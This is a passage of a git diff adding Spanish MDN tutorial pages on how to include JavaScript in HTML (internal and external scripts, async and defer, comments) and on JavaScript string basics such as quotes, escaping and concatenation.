+<p>Una página web sin contenido que se actualiza dinámicamente se denomina <strong>estática</strong> — simplemente muestra el mismo contenido todo el tiempo.</p>
+
+<h2 id="¿Cómo_agregas_JavaScript_a_tu_página">¿Cómo agregas JavaScript a tu página?</h2>
+
+<p>JavaScript se aplica a tu página HTML de manera similar a CSS. Mientras que CSS usa elementos {{htmlelement("link")}} para aplicar hojas de estilo externas y elementos {{htmlelement("style")}} para aplicar hojas de estilo internas a HTML, JavaScript solo necesita un amigo en el mundo de HTML: el elemento {htmlelement("script")}}. Aprendamos cómo funciona esto.</p>
+
+<h3 id="JavaScript_interno">JavaScript interno</h3>
+
+<ol>
+ <li>En primer lugar, haz una copia local de nuestro archivo de ejemplo <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html">apply-javascript.html</a>. Guárdalo en un directorio en algún lugar accesible.</li>
+ <li>Abre el archivo en tu navegador web y en tu editor de texto. Verás que el HTML crea una página web simple que contiene un botón en el que se puede hacer clic.</li>
+ <li>A continuación, ve a tu editor de texto y agrega lo siguiente en tu <code>head</code>, justo antes de tu etiqueta de cierre <code>&lt;/head&gt;</code>:
+  <pre class="brush: html notranslate">&lt;script&gt;
+
+  // JavaScript va aquí
+
+&lt;/script&gt;</pre>
+ </li>
+ <li>Ahora agregaremos algo de JavaScript dentro de nuestro elemento {{htmlelement("script")}} para que la página haga algo más interesante — agrega el siguiente código justo debajo de la línea "// El código JavaScript va aquí":
+  <pre class="brush: js notranslate">document.addEventListener("DOMContentLoaded", function() {
+  function createParagraph() {
+    let para = document.createElement('p');
+    para.textContent = 'You clicked the button!';
+    document.body.appendChild(para);
+  }
+
+  const buttons = document.querySelectorAll('button');
+
+  for(let i = 0; i &lt; buttons.length ; i++) {
+    buttons[i].addEventListener('click', createParagraph);
+  }
+});</pre>
+ </li>
+ <li>Guarda tu archivo y actualiza el navegador — ahora deberías ver que cuando haces clic en el botón, se genera un nuevo párrafo y se coloca debajo.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tu ejemplo no parece funcionar, sigue los pasos nuevamente y verifica que hiciste todo bien. ¿Guardaste tu copia local del código de inicio como un archivo <code>.html</code>? ¿Agregaste tu elemento {{htmlelement("script")}} justo antes de la etiqueta <code>&lt;/head&gt;</code>? ¿Ingresaste el JavaScript exactamente como se muestra? <strong>JavaScript distingue entre mayúsculas y minúsculas y es muy exigente, por lo que debes ingresar la sintaxis exactamente como se muestra; de lo contrario, es posible que no funcione.</strong></p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes ver esta versión en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">apply-javascript-internal.html</a> o (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">verla en vivo también</a>).</p>
+</div>
+
+<h3 id="JavaScript_externo">JavaScript externo</h3>
+
+<p>Esto funciona muy bien, pero ¿y si quisiéramos poner nuestro JavaScript en un archivo externo? Exploremos esto ahora.</p>
+
+<ol>
+ <li>Primero, crea un nuevo archivo en el mismo directorio que tu archivo HTML del ejemplo. Como nombre ponle <code>script.js</code>; asegúrate de que el nombre tenga la extensión <code>.js</code>, ya que así es como se reconoce como JavaScript.</li>
+ <li>Reemplaza tu elemento {{htmlelement("script")}} actual con lo siguiente:
+  <pre class="brush: html notranslate">&lt;script src="script.js" defer&gt;&lt;/script&gt;</pre>
+ </li>
+ <li>Dentro de <code>script.js</code>, agrega el siguiente script:
+  <pre class="brush: js notranslate">function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}
+
+const buttons = document.querySelectorAll('button');
+
+for(let i = 0; i &lt; buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}</pre>
+ </li>
+ <li>Guarda y actualiza tu navegador, ¡y deberías ver lo mismo! Funciona igual, pero ahora tenemos nuestro JavaScript en un archivo externo. Por lo general, esto es bueno en términos de organización de tu código y para hacerlo reutilizable en varios archivos HTML. Además, el HTML es más fácil de leer sin grandes trozos de script en él.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes ver esta versión en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">apply-javascript-external.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/script.js">script.js</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">verla en vivo también</a>).</p>
+</div>
+
+<h3 id="Controladores_de_JavaScript_en_línea">Controladores de JavaScript en línea</h3>
+
+<p>Ten en cuenta que a veces te encontrarás con fragmentos de código JavaScript real dentro de HTML. Podría verse algo similar a esto:</p>
+
+<div id="inline_js_example">
+<pre class="brush: js example-bad notranslate">function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}</pre>
+
+<pre class="brush: html example-bad notranslate">&lt;button onclick="createParagraph()"&gt;Click me!&lt;/button&gt;</pre>
+</div>
+
+<p>Puedes probar esta versión de nuestra demostración a continuación.</p>
+
+<p>{{ EmbedLiveSample('inline_js_example', '100%', 150, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Esta demostración tiene exactamente la misma funcionalidad que en las dos secciones anteriores, excepto que el elemento {{htmlelement("button")}} incluye un controlador <code>onclick</code> en línea para que la función se ejecute cuando se presiona el botón .</p>
+
+<p><strong>Sin embargo, no hagas esto</strong>. Es una mala práctica contaminar tu HTML con JavaScript, y es ineficiente; tendrías que incluir el atributo <code>onclick="createParagraph()"</code> en cada botón al que desees que se aplique JavaScript.</p>
+
+<p>El uso de una construcción de JavaScript pura te permite seleccionar todos los botones usando una instrucción. El código que usamos anteriormente para cumplir este propósito se ve así:</p>
+
+<pre class="brush: js notranslate">const buttons = document.querySelectorAll('button');
+
+for(let i = 0; i &lt; buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}</pre>
+
+<p>Esto puede ser un poco más largo que el atributo <code>onclick</code>, pero funcionará para todos los botones, sin importar cuántos haya en la página, ni cuántos se agreguen o eliminen. No es necesario cambiar el JavaScript.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Intenta editar tu versión de <code>apply-javascript.html</code> y agrega algunos botones más en el archivo. Cuando la vuelvas a cargar, deberías encontrar que todos los botones al hacer clic crearán un párrafo. Limpio, ¿eh?</p>
+</div>
+
+<h3 id="Estrategias_para_la_carga_de_scripts">Estrategias para la carga de scripts</h3>
+
+<p>Hay una serie de problemas relacionados con la carga de los scripts en el momento adecuado. ¡Nada es tan simple como parece! Un problema común es que todo el HTML de una página se carga en el orden en que aparece. Si estás utilizando JavaScript para manipular elementos en la página (o exactamente, el <a href="/es/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">Modelo de objetos del documento</a>), tu código no funcionará si el JavaScript se carga y procesa antes que el HTML que estás intentando haga algo.</p>
+
+<p>En los ejemplos de código anteriores, en los ejemplos internos y externos, JavaScript se carga y se ejecuta en el encabezado del documento, antes de analizar el cuerpo HTML. Esto podría causar un error, por lo que hemos utilizado algunas construcciones para solucionarlo.</p>
+
+<p>En el ejemplo interno, puedes ver esta estructura alrededor del código:</p>
+
+<pre class="brush: js notranslate">document.addEventListener("DOMContentLoaded", function() {
+  ...
+});</pre>
+
+<p>Este es un detector de eventos, que escucha el evento "DOMContentLoaded" del navegador, lo cual significa que el cuerpo HTML está completamente cargado y analizado. El JavaScript dentro de este bloque no se ejecutará hasta que se active ese evento, por lo que se evita el error (<a href="/es/docs/Learn/JavaScript/Building_blocks/Events">aprenderás sobre los eventos</a> más adelante en el curso).</p>
+
+<p>En el ejemplo externo, usamos una función de JavaScript más moderno para resolver el problema, el atributo <code>defer</code>, que le dice al navegador que continúe descargando el contenido HTML una vez que se ha alcanzado la etiqueta del elemento <code>&lt;script&gt;</code>.</p>
+
+<pre class="brush: js notranslate">&lt;script src="script.js" defer&gt;&lt;/script&gt;</pre>
+
+<p>En este caso, tanto el script como el HTML se cargarán simultáneamente y el código funcionará.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En el caso externo, no necesitamos usar el evento <code>DOMContentLoaded</code> porque el atributo <code>defer</code> nos resolvió el problema. No usamos la solución <code>defer</code> para el ejemplo interno de JavaScript porque <code>defer</code> solo funciona para scripts externos.</p>
+</div>
+
+<p>Una solución pasada de moda a este problema solía ser colocar tu elemento <code>script</code> justo en la parte inferior del cuerpo (por ejemplo, justo antes de la etiqueta <code>&lt;/body&gt;</code>), para que se cargara después de haber procesado todo el HTML. El problema con esta solución es que la carga/procesamiento del script está completamente bloqueado hasta que se haya cargado el DOM HTML. En sitios muy grandes con mucho JavaScript, esto puede causar un importante problema de rendimiento y ralentizar tu sitio.</p>
+
+<h4 id="async_y_defer"><code>async</code> y <code>defer</code></h4>
+
+<p>En realidad, hay dos modernas características que podemos usar para evitar el problema del bloqueo de <code>script</code>: <code>async</code> y <code>defer</code> (que vimos anteriormente). Veamos la diferencia entre estas dos.</p>
+
+<p>Los scripts cargados con el atributo <code>async</code> (ve más abajo) descargarán el <code>script</code> sin bloquear el renderizado de la página y lo ejecutará tan pronto como el <code>script</code> se termine de descargar. No tienes garantía de que los <code>script</code>s se ejecuten en un orden específico, solo que no detendrán la visualización del resto de la página. Es mejor usar <code>async</code> cuando los <code>script</code>s de la página se ejecutan de forma independiente y no dependen de ningún otro <code>script</code> de la página.</p>
+
+<p>Por ejemplo, si tienes los siguientes elementos <code>script</code>:</p>
+
+<pre class="brush: html notranslate">&lt;script async src="js/vendor/jquery.js"&gt;&lt;/script&gt;
+
+&lt;script async src="js/script2.js"&gt;&lt;/script&gt;
+
+&lt;script async src="js/script3.js"&gt;&lt;/script&gt;</pre>
+
+<p>No puedes confiar en el orden en que se cargarán los <code>script</code>s. <code>jquery.js</code> se puede cargar antes o después de <code>script2.js</code> y <code>script3.js</code> y si este es el caso, cualquier función en esos <code>script</code>s dependiendo de <code>jquery</code> producirá un error porque <code>jquery</code> no se definirá en el momento en que se ejecute el <code>script</code>.</p>
+
+<p><code>async</code> se debe usar cuando tienes un montón de <code>script</code>s en segundo plano para cargar, y solo deseas ponerlos en su lugar lo antes posible. Por ejemplo, tal vez tengas algunos archivos de datos del juego para cargar, que serán necesarios cuando el juego realmente comience, pero por ahora solo deseas continuar mostrando la introducción del juego, los títulos y el lobby, sin que se bloqueen al cargar el <code>script</code>.</p>
+
+<p>Los <code>script</code>s cargados con el atributo <code>defer</code> (ve a continuación) se ejecutarán en el orden en que aparecen en la página y los ejecutará tan pronto como se descarguen el <code>script</code> y el contenido:</p>
+
+<pre class="brush: html notranslate">&lt;script defer src="js/vendor/jquery.js"&gt;&lt;/script&gt;
+
+&lt;script defer src="js/script2.js"&gt;&lt;/script&gt;
+
+&lt;script defer src="js/script3.js"&gt;&lt;/script&gt;</pre>
+
+<p>Todos los <code>script</code>s con el atributo <code>defer</code> se cargarán en el orden en que aparecen en la página. Entonces, en el segundo ejemplo, podemos estar seguros de que <code>jquery.js</code> se cargará antes que <code>script2.js</code> y <code>script3.js</code> y que <code>script2.js</code> se cargará antes de <code>script3.js</code>. No se ejecutarán hasta que se haya cargado todo el contenido de la página, lo cual es útil si tus <code>script</code>s dependen de que el DOM esté en su lugar (por ejemplo, modifican uno o más elementos de la página).</p>
+
+<p>Para resumir:</p>
+
+<ul>
+ <li><code>async</code> y <code>defer</code> indican al navegador que descargue los <code>script</code>s en un hilo separado, mientras que el resto de la página (el DOM, etc.) se descarga, por lo que los <code>script</code>s no bloquean la carga de la página.</li>
+ <li>Si tus <code>script</code>s se deben ejecutar inmediatamente y no tienen ninguna dependencia, utiliza <code>async</code>.</li>
+ <li>Si tus <code>script</code>s necesitan esperar a ser procesados y dependen de otros <code>script</code>s y/o del DOM en su lugar, cárgalos usando <code>defer</code>y coloca tus elementos <code>&lt;script&gt;</code> correspondientes en el orden que desees que el navegador los ejecute.</li>
+</ul>
+
+<h2 id="Comentarios">Comentarios</h2>
+
+<p>Al igual que con HTML y CSS, es posible escribir comentarios en tu código JavaScript que el navegador ignorará y que existen simplemente para proporcionar instrucciones a tus compañeros desarrolladores sobre cómo funciona el código (y a ti, si regresas a tu código después de seis meses y no puedes recordar lo que hiciste). Los comentarios son muy útiles y deberías utilizarlos con frecuencia, especialmente para aplicaciones grandes. Hay dos tipos:</p>
+
+<ul>
+ <li>Un comentario de una sola línea se escribe después de una doble barra inclinada (//), p. ej.
+  <pre class="brush: js notranslate">// soy un comentario</pre>
+ </li>
+ <li>Se escribe un comentario de varias líneas entre las cadenas /* y */, p. ej.
+  <pre class="brush: js notranslate">/*
+  Yo también soy
+  un comentario
+*/</pre>
+ </li>
+</ul>
+
+<p>Entonces, por ejemplo, podríamos anotar el JavaScript de nuestra última demostración con comentarios como este:</p>
+
+<pre class="brush: js notranslate">// Función: crea un nuevo párrafo y lo agrega al final del cuerpo HTML.
+
+function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}
+
+/*
+  1. Obtiene referencias de todos los botones de la página en un formato de arreglo.
+  2. Recorre todos los botones y agrega un detector de eventos 'click' a cada uno.
+
+  Cuando se presione cualquier botón, se ejecutará la función createParagraph().
+*/
+
+const buttons = document.querySelectorAll('button');
+
+for (let i = 0; i &lt; buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: En general, más comentarios suelen ser mejor que menos, pero debes tener cuidado si agregas muchos comentarios para explicar qué son las variables (los nombres de tus variables tal vez deberían ser más intuitivos), o para explicar operaciones muy simples (tal vez tu código sea demasiado complicado).</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Así que ahí tienes, tu primer paso en el mundo de JavaScript. Comenzamos solo con teoría, para comenzar a acostumbrarte a por qué usarías JavaScript y qué tipo de cosas puedes hacer con él. En el camino, viste algunos ejemplos de código y aprendiste cómo encaja JavaScript con el resto del código en tu sitio web, entre otras cosas.</p>
+
+<p>JavaScript puede parecer un poco abrumador en este momento, pero no te preocupes — en este curso, te guiaremos en pasos simples que tendrán sentido en el futuro. En el próximo artículo, <a href="/es/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">nos sumergiremos directamente en lo práctico</a>, lo que te permitirá comenzar directamente y crear tus propios ejemplos de JavaScript.</p>
+
+<ul>
+</ul>
+
+<p>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_is_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Primer contacto con JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Solución de problemas de JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Variables">Almacenamiento de la información que necesita — Variables</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Math">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos de cadena útiles</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator">Evaluación: Generador de historias tontas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/strings/index.html b/files/es/learn/javascript/first_steps/strings/index.html
new file mode 100644
index 0000000000..e86560ae54
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/strings/index.html
@@ -0,0 +1,299 @@
+---
+title: Manejar texto — cadenas en JavaScript
+slug: Learn/JavaScript/First_steps/Strings
+tags:
+  - Artículo
+  - Cadenas
+  - Comillas
+  - Guía
+  - JavaScript
+  - Novato
+  - Principiante
+  - Union
+  - Unir
+  - concatenación
+  - 'l10n:priority'
+  - strings
+translation_of: Learn/JavaScript/First_steps/Strings
+---
+<p id="Manejo_de_texto_—_cadenas_en_JavaScript">{{LearnSidebar}}</p>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary"><span id="result_box" lang="es"><span>A continuación, centraremos nuestra atención en las </span></span>cadenas<span lang="es"><span> de caracteres (<code>string</code>s)</span></span><span lang="es"><span>: así es como se llaman los fragmentos de texto en programación.</span> <span>En este artículo veremos todas las cosas comunes que realmente deberías saber sobre </span></span>cadenas<span lang="es"><span> de caracteres al aprender JavaScript, como crear cadenas, comillas en cadenas y unir cadenas.</span></span></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de informática, una comprensión básica de HTML y CSS y de lo que es JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td><span id="result_box" lang="es"><span>Familiarizarte con los aspectos básicos de las </span></span>cadenas<span lang="es"><span> de caracteres en JavaScript.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="El_poder_de_las_palabras"><span class="short_text" id="result_box" lang="es"><span>El poder de las palabras</span></span></h2>
+
+<p>Las palabras son muy importantes para los humanos — son una parte fundamental de nuestra comunicación. Dado que la Web es un medio en gran parte basado en texto diseñado para permitir a los humanos comunicarse y compartir información, es útil para nosotros tener control sobre las palabras que aparecen en él. {{glossary("HTML")}} proporciona estructura y significado a nuestro texto, {{glossary("CSS")}} nos permite personalizarlo con precisión, y JavaScript contiene una serie de funciones para manipular cadenas, crear mensajes personalizados de bienvenida, mostrar las etiquetas de texto adecuadas cuando sea necesario, organizar los términos en el orden deseado y mucho más.</p>
+
+<p>Casi todos los programas que hemos mostrado hasta ahora en el curso han involucrado alguna manipulación de cadenas.</p>
+
+<h2 id="Cadenas_—_las_bases">Cadenas — las bases</h2>
+
+<p>A primera vista, las cadenas se tratan de forma similar a los números, pero cuando profundizas empiezas a ver diferencias notables. Comencemos ingresando algunas líneas de texto básicas en la consola para familiarizarnos. Te proveeremos de una aquí abajo (también puedes <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">abrir la consola</a> en una pestaña o ventana separada, o usar la <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola de desarrollo del navegador</a> si así lo prefieres).</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Consola JavaScript&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class','input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+
+      if(document.querySelectorAll('div').length &gt; 1) {
+        inputForm.focus();
+      }
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Resultado: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Creando_una_cadena">Creando una cadena</h3>
+
+<ol>
+ <li>Para comenzar, ingresa las siguientes líneas:
+  <pre class="brush: js notranslate">var string = 'La revolución no será televisada.';
+string;</pre>
+  Al igual que con los números, declaramos una variable, iniciandola con el valor de una cadena, y luego retornamos dicho valor. La única diferencia es que al escribir una cadena, necesitas envolverla con comillas.</li>
+ <li>Si no lo haces, u olvidas una de las comillas, obtendrás un error. Intenta ingresando las siguientes líneas:
+  <pre class="brush: js example-bad notranslate">var malString = Esto es una prueba;
+var malString = 'Esto es una prueba;
+var malString = Esto es una prueba';</pre>
+  Estas líneas no funcionan porque el texto sin comillas alrededor es tomado como nombre de una variable, propiedad, palabra reservada, o algo similar. Si el navegador no las encuentra, entonces se recibe un error( ej. "missing ; before statement"). Si el navegador puede ver dónde comienza una cadena, pero no dónde termine, como se indica en la segunda oración, devuelve error (con "unterminated string literal"). Si tu programa devuelve estos errores, revisa desde el inicio que todas tus cadenas posean sus comillas.</li>
+ <li>Lo siguiente funcionará si previamente definiste la variable <code>string</code> — inténtalo:
+  <pre class="brush: js notranslate">var maltring = string;
+malString;</pre>
+  <code>malString</code> ahora tiene el mismo valor que <code>string</code>.</li>
+</ol>
+
+<h3 id="Comillas_simples_vs._comillas_dobles">Comillas simples vs. comillas dobles</h3>
+
+<ol>
+ <li>En JavaScript, puedes escoger entre comillas simple y dobles para envolver tus cadenas. Ambas funcionarán correctamente:
+  <pre class="brush: js notranslate">var simp = 'Comillas simples.';
+var dobl = "Comillas dobles.";
+simp;
+dobl;</pre>
+ </li>
+ <li>Hay muy poca diferencia entre las dos, y la que utilices dependerá de tus preferencias personales. Sin embargo, deberías de elegir una y mantenerla; usar diferentes tipos de comillas en el código podría llegar a ser confuso, especialmente si utilizas diferentes comillas en la misma cadena. El siguiente ejemplo devolverá un error:
+  <pre class="brush: js example-bad notranslate">var badQuotes = 'What on earth?";</pre>
+ </li>
+ <li>El navegador pensará que la cadena no se ha cerrado correctamente, porque el otro tipo de cita que no estás usando, puede aparecer en la cadena. Por ejemplo, en estos dos casos su uso es correcto:
+  <pre class="brush: js notranslate">var sglDbl = 'Would you eat a "fish supper"?';
+var dblSgl = "I'm feeling blue.";
+sglDbl;
+dblSgl;</pre>
+ </li>
+ <li>Sin embargo, no puedes usar el mismo tipo de comillas en el interior de una cadena que ya las tiene en los extremos. Lo siguiente devuelve error, porque confunde al navegador respecto de dónde termina la cadena:
+  <pre class="brush: js example-bad notranslate">var bigmouth = 'I've got no right to take my place...';</pre>
+  Lo que nos lleva directamente al siguiente tema.</li>
+</ol>
+
+<h3 id="Escapando_caracteres_en_una_cadena">Escapando caracteres en una cadena</h3>
+
+<p>Para solucionar nuestro problema anterior, necesitamos "escapar" el asunto de las comillas. Escapar caracteres significa que les hacemos algo para asegurarnos que sean reconocidos como texto, y no parte del código. En JavaScript, colocamos una barra invertida justo antes del caracter. Intenta ésto:</p>
+
+<pre class="brush: js notranslate">var bigmouth = 'I\'ve got no right to take my place...';
+bigmouth;</pre>
+
+<p>Ahora funciona correctamente. Puedes escapar otros caracteres de la misma forma, ej. <code>\"</code>, y hay varios códigos más. Ve a <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation">Notación de Escape</a> para más detalles.</p>
+
+<h2 id="Concatenando_cadenas">Concatenando cadenas</h2>
+
+<ol>
+ <li>Concatenar es una elegante palabra de la programación que significa: "unir". Para unir cadenas en JavaScript el símbolo de más (+), el mismo operador que usamos para sumar números, pero en este contexto hace algo diferente. Vamos a probar un ejemplo en nuestra consola.
+  <pre class="brush: js notranslate">var one = 'Hello, ';
+var two = 'how are you?';
+var joined = one + two;
+joined;</pre>
+  El resultado de este código es una variable llamada <code>joined</code>, que contiene el valor: "Hello, how are you?" ("Hola, cómo estas?").</li>
+ <li>En la última instancia del código, unimos dos strings, pero lo puedes hacer con cuantas desees, mientras que incluyas el símbolo de <code>+</code> entre ellas. Prueba esto:
+  <pre class="brush: js notranslate">var multiple = one + one + one + one + two;
+multiple;</pre>
+ </li>
+ <li>También puedes usar una combinación de variables y strings reales. Prueba esto:
+  <pre class="brush: js notranslate">var response = one + 'I am fine — ' + two;
+response;</pre>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Cuando ingresas una string real en tu código, entre comillas simples o dobles, se llama <strong>string literal</strong>.</p>
+</div>
+
+<h3 id="La_concatenación_en_contexto">La concatenación en contexto</h3>
+
+<p>Vamos a revisar la concatenación que usamos en la siguiente acción — veamos este ejemplo ya citado previamente en el curso:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Press me&lt;/button&gt;</pre>
+
+<pre class="brush: js notranslate">var button = document.querySelector('button');
+
+button.onclick = function() {
+  var name = prompt('What is your name?');
+  alert('Hello ' + name + ', nice to see you!');
+}</pre>
+
+<p>{{ EmbedLiveSample('Concatenation_in_context', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Aquí estamos usando una función {{domxref("Window.prompt()", "Window.prompt()")}} en la línea 4, que le pide al usuario la respuesta a una pregunta, através de un cuadro emergente (también llamado popup) y luego, almacenará el dato dentro de una variable dada — en este caso llamada <code>name (nombre)</code>. Luego, en la línea 5, usamos una función {{domxref("Window.alert()", "Window.alert()")}} para mostrar otra ventana emergente que contiene una cadena que hemos unido de la concatenación de dos string literales y la variable <code>name (</code>nombre). </p>
+
+<h3 id="Números_versus_cadenas">Números versus cadenas</h3>
+
+<ol>
+ <li>Entonces, ¿qué sucede cuando intentamos agregar (o concatenar) un string y un número? Vamos a probar en la consola:
+  <pre class="brush: js notranslate">'Front ' + 242;
+</pre>
+  Podrías esperar que diera un error, pero funciona a la perfección. Tratar de representar un string como un número no tiene sentido, pero representar un número como string si que lo tiene, así que el navegador convierte el número en una string y las muestra juntas. </li>
+ <li>Incluso puedes hacer esto con dos números — puedes forar un número para que se convierta en una string envolviéndolo entre comillas. Prueba lo siguiente (estamos utilizando el operador <code>typeof</code> para verificar si la variable es un número o una cadena):
+  <pre class="brush: js notranslate">var myDate = '19' + '67';
+typeof myDate;</pre>
+ </li>
+ <li>Si tienes una variable numérica, que deseas convertir en una string, pero no cambiar de otra forma, o una variable string, que deseas convertir a número, pero no cambiarla de otra forma, puedes usar las siguientes construcciones:
+  <ul>
+   <li>El objecto {{jsxref("Number")}} convertirá cualquier cosa que se le pase en un número, si puede. Intenta lo siguiente:
+    <pre class="brush: js notranslate">var myString = '123';
+var myNum = Number(myString);
+typeof myNum;</pre>
+   </li>
+   <li>Por otra parte, cada número tiene un método llamado  <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Number/toString">toString()</a></code> que convertirá el equivalente en una string. Prueba esto:
+    <pre class="brush: js notranslate">var myNum = 123;
+var myString = myNum.toString();
+typeof myString;</pre>
+   </li>
+  </ul>
+  Estas construcciones pueden ser muy útiles en ciertas situaciones. Por ejemplo, si un usuario introduce un número en un campo de texto de un formulario, será un string. Sin embargo, si quieres añadir ese número a algo, lo necesitas convertir a número, así que puedes usar esta construcción para hacerlo. Hicimos exactamente esto en el ejercicio de ejemplo: Juego adivina el número en la línea 54 (<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L54">Juego Adivina el número, en la línea 54</a>).</li>
+</ol>
+
+<h2 id="Prueba_tus_habilidades_2">Prueba tus habilidades</h2>
+
+<p id="Prueba_tus_habilidades">Llegaste al final de este artículo, pero ¿puédes recordar la información más importante? Puedes encontrar algunas pruebas para verificar que has comprendido esta información antes de seguir avanzando — Ve <a href="/es/docs/Learn/JavaScript/First_steps/Test_your_skills:_Strings">Prueba tus habilidades: Strings</a>. Ten en cuenta que esto requiere conocimiento del próximo artículo, por lo que podrías leerlo antes.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Esto es lo básico que debes saber sobre las cadenas o <code>string</code>s en JavaScript. En el siguiente artículo desarrollaremos más sobre esto, observando métodos de construcción de strings disponibles en JavaScript y cómo podemos usarlos para manipular nuestras cadenas de la forma que queremos. </p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_is_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Un primer acercamiento a JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Corrigiendo JavaScript</a></li>
